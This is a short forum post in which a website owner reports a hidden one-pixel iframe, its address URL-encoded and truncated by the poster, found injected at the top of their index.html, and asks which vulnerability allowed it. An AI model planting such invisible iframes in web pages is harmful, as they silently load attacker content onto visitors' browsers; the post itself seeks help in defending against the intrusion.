Not sure which forum this belongs in, but I'm a bit peeved. Someone made me aware that they were getting errors on my website, and, looking at the code, I found this was inserted at the top of my index.html page:
Note that I cut off the series of "%xx" numbers, because I think you get the idea. Checking the "last modified" date, it was inserted on December 17th. I've done lots of searching, and I can't find any information at all on anything similar to this. Does anyone know of a vulnerability floating around that would cause something like this?
iframe src= http://%77%77%77%...(etc.)?id=index12 frameborder="0" width="1" height="1" scrolling="no" name=counter></iframe>